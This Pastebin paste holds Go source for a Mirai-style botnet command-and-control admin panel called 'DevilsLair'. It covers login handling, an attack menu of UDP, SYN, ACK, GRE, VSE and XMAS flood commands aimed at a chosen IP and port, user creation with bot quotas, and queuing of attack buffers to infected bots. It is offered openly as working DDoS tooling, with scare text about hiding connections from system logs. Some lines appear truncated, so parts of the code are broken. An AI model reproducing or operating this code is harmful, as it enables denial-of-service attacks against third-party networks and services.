Advertisement
Guest User

Untitled

a guest
Nov 8th, 2018
119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.82 KB | None | 0 0
  1. package main
  2.  
  3. import (
  4. "fmt"
  5. "net"
  6. "time"
  7. "strings"
  8. "strconv"
  9. )
  10.  
  11. type Admin struct {
  12. conn net.Conn
  13. }
  14.  
  15. func NewAdmin(conn net.Conn) *Admin {
  16. return &Admin{conn}
  17. }
  18.  
  19. func (this *Admin) Handle() {
  20. this.conn.Write([]byte("\033[?1049h"))
  21. this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22"))
  22.  
  23. defer func() {
  24. this.conn.Write([]byte("\033[?1049l"))
  25. }()
  26.  
  27. // Get username
  28. this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  29. this.conn.Write([]byte("\033[31;1mUsername\033[0;31m: \033[0m"))
  30. username, err := this.ReadLine(false)
  31. if err != nil {
  32. return
  33. }
  34.  
  35. // Get password
  36. this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  37. this.conn.Write([]byte("\033[31;1mPassword\033[0;31m: \033[0m"))
  38. password, err := this.ReadLine(true)
  39. if err != nil {
  40. return
  41. }
  42.  
  43. this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  44. this.conn.Write([]byte("\r\n"))
  45. spinBuf := []byte{'-', '\\', '|', '/'}
  46. for i := 0; i < 15; i++ {
  47. this.conn.Write(append([]byte("\r\033[31;0mPlease wait, loading... \033[32;1"), spinBuf[i % len(spinBuf)]))
  48. time.Sleep(time.Duration(500) * time.Millisecond)
  49.  
  50. var loggedIn bool
  51. var userInfo AccountInfo
  52. if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn {
  53. this.conn.Write([]byte("\r\033[31;1mAn unknown error occurred\r\n"))
  54. this.conn.Write([]byte("\033[0;31mPress any key to exit.\033[0m"))
  55. buf := make([]byte, 1)
  56. this.conn.Read(buf)
  57. return
  58. }
  59.  
  60. this.conn.Write([]byte("\r\n\033[0m"))
  61. this.conn.Write([]byte("\033[0;31m[+] \033[1;31mDevilsLair \033[0;31m| \033[1;31mSuccesfully hijacked connection\r\n"))
  62. time.Sleep(250 * time.Millisecond)
  63. this.conn.Write([]byte("\033[0;31m[+] \033[1;31mDevilsLair \033[0;31m|\033[1;31m Masking connection from utmp+wtmp...\r\n"))
  64. time.Sleep(500 * time.Millisecond)
  65. this.conn.Write([]byte("\033[0;31m[+] \033[1;31mDevilsLair \033[0;31m| \033[1;31mHiding from netstat...\r\n"))
  66. time.Sleep(150 * time.Millisecond)
  67. this.conn.Write([]byte("\033[0;31m[+] \033[1;31mDevilsLair \033[0;31m| \033[1;31mRemoving all traces of LD_PRELOAD...\r\n"))
  68. for i := 0; i < 4; i++ {
  69. time.Sleep(100 * time.Millisecond)
  70. this.conn.Write([]byte(fmt.Sprintf("\033[0;31m[+] \033[1;31mDevilsLair \033[0;31m| \033[1;31mWiping env libc.poison.so.%d\r\n", i + 1)))
  71. }
  72. this.conn.Write([]byte("\033[0;31m[+] \033[1;31mDevilsLair \033[0;31m| \033[1;31mSetting up virtual terminal...\r\n"))
  73. time.Sleep(1 * time.Second)
  74. go func() {
  75. i := 0
  76. for {
  77. var BotCount int
  78. if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 {
  79. BotCount = userInfo.maxBots
  80. } else {
  81. BotCount = clientList.Count()
  82. }
  83.  
  84. time.Sleep(time.Second)
  85. if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;%d Demons Loaded | (%s)\007", BotCount, username))); err != nil {
  86. this.conn.Close()
  87. break
  88. }
  89. i++
  90. if i % 60 == 0 {
  91. this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  92. }
  93. }
  94. }()
  95. this.conn.Write([]byte("\033[2J\033[1H"))
  96. this.conn.Write([]byte("\033[31;1m .·¨'`; ,.·´¨;\ ,., ' ,-·-. ,'´¨; ,., ' ,.-·.\r\n"))
  97. this.conn.Write([]byte("\033[31;1m '; ;'\ '; ;::\ ;´ '· ., '; ';\ ,'´ ,':\' ;´ '· ., / ;'\'\r\n"))
  98. this.conn.Write([]byte("\033[31;1m ; ;::'\ ,' ;::'; .´ .-, ';\ ; ';:\ .' ,'´::'\' .´ .-, ';\ ; ;:::\\r\n"))
  99. this.conn.Write([]byte("\033[31;1m ; ;::_';,. ,.' ;:::';° / /:\:'; ;:'\' '\ ';::;'´ ,'´::::;' / /:\:'; ;:'\' '; ;::::;'\r\n"))
  100. this.conn.Write([]byte("\033[31;1m .' ,. -·~-·, ;:::'; ' ,' ,'::::'\'; ;::'; \ '·:' ,'´:::::;' ' ,' ,'::::'\'; ;::'; ; ;::::;\r\n"))
  101. this.conn.Write([]byte("\033[31;1m '; ;'\::::::::; '/::::; ,.-·' '·~^*'´¨, ';::; '·, ,'::::::;'´ ,.-·' '·~^*'´¨, ';::; '; ;'::::;\r\n"))
  102. this.conn.Write([]byte("\033[31;1m ; ';:;\;::-··; ;::::; ':, ,·:²*´¨¯'`; ;::'; ,' /::::::;' ' ':, ,·:²*´¨¯'`; ;::'; ; ';:::';\r\n"))
  103. this.conn.Write([]byte("\033[31;1m ':,.·´\;' ;' ,' :::/ ' ,' / \::::::::'; ;::'; ,´ ';\::::;' ' ,' / \::::::::'; ;::'; '; ;::::;'\r\n"))
  104. this.conn.Write([]byte("\033[31;1m \:::::\ \·.'::::; ,' ,'::::\·²*'´¨¯':,'\:; \`*ª'´\\::/‘ ,' ,'::::\·²*'´¨¯':,'\:; \*´\:::;‘\r\n"))
  105. this.conn.Write([]byte("\033[31;1m \;:·´ \:\::'; \`¨\:::/ \::\' '\:::::\'; ' \`¨\:::/ \::\' '\::\:;'\r\n"))
  106. this.conn.Write([]byte("\033[31;1m `·\;' '\::\;' '\;' ' `*ª'´‘ '\::\;' '\;' ' `*´‘\r\n"))
  107. this.conn.Write([]byte("\033[31;1m ' `¨' ' `¨'
  108. this.conn.Write([]byte("\033[31;1m
  109. this.conn.Write([]byte("\033[31;1m
  110. this.conn.Write([]byte("\033[31;1m
  111. this.conn.Write([]byte("\033[31;1m
  112. this.conn.Write([]byte("\033[31;1m
  113. this.conn.Write([]byte("\033[31;1m
  114. this.conn.Write([]byte("\033[31;1m
  115. this.conn.Write([]byte("\033[31;1m
  116. this.conn.Write([]byte("\033[31;1m
  117. this.conn.Write([]byte("\r\n"))
  118. this.conn.Write([]byte("\033[0;31m #\033[31;1m--------\033[0;31m Welcome, " + username + "\033[31;1m --------\033[0;31m#\r\n"))
  119. for {
  120. var botCatagory string
  121. var botCount int
  122. this.conn.Write([]byte("\033[1;31m" + username + "\033[0;31m@\033[31;1mDevilsLair\033[0;31m#\033[0;31m \033[0m"))
  123. cmd, err := this.ReadLine(false)
  124.  
  125. if cmd == "clear" || cmd == "cls" || cmd == "c" {
  126. this.conn.Write([]byte("\033[2J\033[1H"))
  127. this.conn.Write([]byte("\033[31;1m 888888b d8b 888 888 d8b \r\n"))
  128. this.conn.Write([]byte("\033[31;1m 888 Y88b Y8P 888 888 Y8P \r\n"))
  129. this.conn.Write([]byte("\033[31;1m 888 888 888 888 \r\n"))
  130. this.conn.Write([]byte("\033[31;1m 888 888 d88b 888 888 888 888 d8888b 888 8888b 888 888d888 \r\n"))
  131. this.conn.Write([]byte("\033[31;1m 888 888 d8P Y8b 888 888 888 888 88K 888 88b 888 888P\r\n"))
  132. this.conn.Write([]byte("\033[31;1m 888 888 88888888 Y88 88P 888 888 Y8888b 888 d888888 888 888\r\n"))
  133. this.conn.Write([]byte("\033[31;1m 888 d88P Y8b Y8bd8P 888 888 X88 888 888 888 888 888\r\n"))
  134. this.conn.Write([]byte("\033[31;1m 8888888P Y8888 Y88P 888 888 88888P 88888888 Y888888 888 888\r\n"))
  135. this.conn.Write([]byte("\r\n"))
  136. this.conn.Write([]byte("\033[0;31m #\033[31;1m--------\033[0;31m Welcome, " + username + "\033[31;1m --------\033[0;31m#\r\n"))
  137. continue
  138. }
  139. if cmd == "?" {
  140. this.conn.Write([]byte("\033[91m[+]---------------------------------------------------------[+]\r\n"))
  141. this.conn.Write([]byte("\033[91m |\033[91m Attack Menu For DevilsLair \033[91m|\r\n"))
  142. this.conn.Write([]byte("\033[91m |\033[0;31m udpplain [ip] [time] dport=[port] \033[30;1m| \033[91mudp \033[91m|\r\n"))
  143. this.conn.Write([]byte("\033[91m |\033[0;31m ack [ip] [time] dport=[port] \033[30;1m| \033[91mack \033[91m|\r\n"))
  144. this.conn.Write([]byte("\033[91m |\033[0;31m syn [ip] [time] dport=[port] \033[30;1m| \033[91msyn \033[91m|\r\n"))
  145. this.conn.Write([]byte("\033[91m |\033[0;31m vse [ip] [time] dport=[port] \033[30;1m| \033[91mvse \033[91m|\r\n"))
  146. this.conn.Write([]byte("\033[91m |\033[0;31m greeth [ip] [time] dport=[port] \033[30;1m| \033[91mgreeth \033[91m|\r\n"))
  147. this.conn.Write([]byte("\033[91m |\033[0;31m greip [ip] [time] dport=[port] \033[30;1m| \033[91mgreip \033[91m|\r\n"))
  148. this.conn.Write([]byte("\033[91m |\033[0;31m std [ip] [time] dport=[port] \033[30;1m| \033[91mstd \033[91m|\r\n"))
  149. this.conn.Write([]byte("\033[91m |\033[0;31m xmas [ip] [time] dport=[port] \033[30;1m| \033[91mxmas \033[91m|\r\n"))
  150. this.conn.Write([]byte("\033[91m |\033[0;31m credits \033[30;1m| \033[91mshows credits \033[91m|\r\n"))
  151. this.conn.Write([]byte("\033[91m |\033[0;31m cls or clear \033[30;1m| \033[91mclears screen \033[91m|\r\n"))
  152. this.conn.Write([]byte("\033[91m |\033[0;31m botcount or bots \033[30;1m| \033[91mshows bots \033[91m|\r\n"))
  153. this.conn.Write([]byte("\033[91m[+]---------------------------------------------------------[+]\r\n"))
  154. continue
  155. }
  156. if cmd == "help" {
  157. this.conn.Write([]byte("\033[0;91mGeneric help commands:\r\n"))
  158. this.conn.Write([]byte("\r\n"))
  159. this.conn.Write([]byte("\033[0;31m?: \033[0;91mShows attack menu\r\n"))
  160. this.conn.Write([]byte("\033[0;31mbots: \033[0;91mShows the full bot count\r\n"))
  161. this.conn.Write([]byte("\033[0;31mclear: \033[0;91mClears your screen\r\n"))
  162. this.conn.Write([]byte("\033[0;31mquit: \033[0;91mExit the botnet\r\n"))
  163. continue
  164. }
  165. if cmd == "credits" {
  166. this.conn.Write([]byte("\033[0;91mCredits:\r\n"))
  167. this.conn.Write([]byte("\033[0;31mOwner: \033[0;91mNAMEHERE \033[30;1m| \033[0;91mYour @ Here\r\n"))
  168. this.conn.Write([]byte("\033[0;31mBot Creator: \033[0;91mDevilsExploits \033[30;1m| \033[0;91m@EvilSwapper\r\n"))
  169. this.conn.Write([]byte("\033[0;31mServer Side Creator: \033[0;91mZesty \033[30;1m| \033[0;91m@BotRepping\r\n"))
  170. continue
  171. }
  172. if err != nil || cmd == "exit" || cmd == "quit" {
  173. return
  174. }
  175.  
  176. if cmd == "" {
  177. continue
  178. }
  179.  
  180. botCount = userInfo.maxBots
  181.  
  182. if userInfo.admin == 1 && cmd == "adduser" {
  183. this.conn.Write([]byte("Enter new username: "))
  184. new_un, err := this.ReadLine(false)
  185. if err != nil {
  186. return
  187. }
  188. this.conn.Write([]byte("Enter new password: "))
  189. new_pw, err := this.ReadLine(false)
  190. if err != nil {
  191. return
  192. }
  193. this.conn.Write([]byte("Enter wanted bot count (-1 for full net): "))
  194. max_bots_str, err := this.ReadLine(false)
  195. if err != nil {
  196. return
  197. }
  198. max_bots, err := strconv.Atoi(max_bots_str)
  199. if err != nil {
  200. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the bot count")))
  201. continue
  202. }
  203. this.conn.Write([]byte("Max attack duration (-1 for none): "))
  204. duration_str, err := this.ReadLine(false)
  205. if err != nil {
  206. return
  207. }
  208. duration, err := strconv.Atoi(duration_str)
  209. if err != nil {
  210. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the attack duration limit")))
  211. continue
  212. }
  213. this.conn.Write([]byte("Cooldown time (0 for none): "))
  214. cooldown_str, err := this.ReadLine(false)
  215. if err != nil {
  216. return
  217. }
  218. cooldown, err := strconv.Atoi(cooldown_str)
  219. if err != nil {
  220. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the cooldown")))
  221. continue
  222. }
  223. this.conn.Write([]byte("New account info: \r\nUsername: " + new_un + "\r\nPassword: " + new_pw + "\r\nBots: " + max_bots_str + "\r\nContinue? (y/N)"))
  224. confirm, err := this.ReadLine(false)
  225. if err != nil {
  226. return
  227. }
  228. if confirm != "y" {
  229. continue
  230. }
  231. if !database.CreateUser(new_un, new_pw, max_bots, duration, cooldown) {
  232. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to create new user. An unknown error occured.")))
  233. } else {
  234. this.conn.Write([]byte("\033[31;1mUser added successfully.\033[0m\r\n"))
  235. }
  236. continue
  237. }
  238.  
  239. if userInfo.admin == 1 && cmd == "bots" {
  240. botCount = clientList.Count()
  241. m := clientList.Distribution()
  242. this.conn.Write([]byte(fmt.Sprintf("\033[0;31m+---------------------------+\r\n\033[0m")))
  243. for k, v := range m {
  244. this.conn.Write([]byte(fmt.Sprintf("\033[1;31m%s: \033[0;31m%d\r\n", k, v)))
  245. }
  246. this.conn.Write([]byte(fmt.Sprintf("\r\n\033[1;31mTotal Bots:\033[0;31m %d\r\n", botCount)))
  247. this.conn.Write([]byte(fmt.Sprintf("\033[0;31m+---------------------------+\r\n\033[0m")))
  248. continue
  249. }
  250. if cmd[0] == '-' {
  251. countSplit := strings.SplitN(cmd, " ", 2)
  252. count := countSplit[0][1:]
  253. botCount, err = strconv.Atoi(count)
  254. if err != nil {
  255. this.conn.Write([]byte(fmt.Sprintf("\033[31;1mFailed to parse botcount \"%s\"\033[0m\r\n", count)))
  256. continue
  257. }
  258. if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
  259. this.conn.Write([]byte(fmt.Sprintf("\033[31;1mBot count to send is bigger then allowed bot maximum\033[0m\r\n")))
  260. continue
  261. }
  262. cmd = countSplit[1]
  263. }
  264. if userInfo.admin == 1 && cmd[0] == '@' {
  265. cataSplit := strings.SplitN(cmd, " ", 2)
  266. botCatagory = cataSplit[0][1:]
  267. cmd = cataSplit[1]
  268. }
  269.  
  270. atk, err := NewAttack(cmd, userInfo.admin)
  271. if err != nil {
  272. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  273. } else {
  274. buf, err := atk.Build()
  275. if err != nil {
  276. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  277. } else {
  278. if can, err := database.CanLaunchAttack(username, atk.Duration, cmd, botCount, 0); !can {
  279. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  280. } else if !database.ContainsWhitelistedTargets(atk) {
  281. clientList.QueueBuf(buf, botCount, botCatagory)
  282. } else {
  283. fmt.Println("Blocked attack by " + username + " to whitelisted prefix")
  284. }
  285. }
  286. }
  287. }
  288. }
  289. }
  290. func (this *Admin) ReadLine(masked bool) (string, error) {
  291. buf := make([]byte, 1024)
  292. bufPos := 0
  293.  
  294. for {
  295. n, err := this.conn.Read(buf[bufPos:bufPos+1])
  296. if err != nil || n != 1 {
  297. return "", err
  298. }
  299. if buf[bufPos] == '\xFF' {
  300. n, err := this.conn.Read(buf[bufPos:bufPos+2])
  301. if err != nil || n != 2 {
  302. return "", err
  303. }
  304. bufPos--
  305. } else if buf[bufPos] == '\x7F' || buf[bufPos] == '\x08' {
  306. if bufPos > 0 {
  307. this.conn.Write([]byte(string(buf[bufPos])))
  308. bufPos--
  309. }
  310. bufPos--
  311. } else if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
  312. bufPos--
  313. } else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
  314. this.conn.Write([]byte("\r\n"))
  315. return string(buf[:bufPos]), nil
  316. } else if buf[bufPos] == 0x03 {
  317. this.conn.Write([]byte("^C\r\n"))
  318. return "", nil
  319. } else {
  320. if buf[bufPos] == '\x1B' {
  321. buf[bufPos] = '^';
  322. this.conn.Write([]byte(string(buf[bufPos])))
  323. bufPos++;
  324. buf[bufPos] = '[';
  325. this.conn.Write([]byte(string(buf[bufPos])))
  326. } else if masked {
  327. this.conn.Write([]byte("*"))
  328. } else {
  329. this.conn.Write([]byte(string(buf[bufPos])))
  330. }
  331. }
  332. bufPos++
  333. }
  334. return string(buf), nil
  335. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement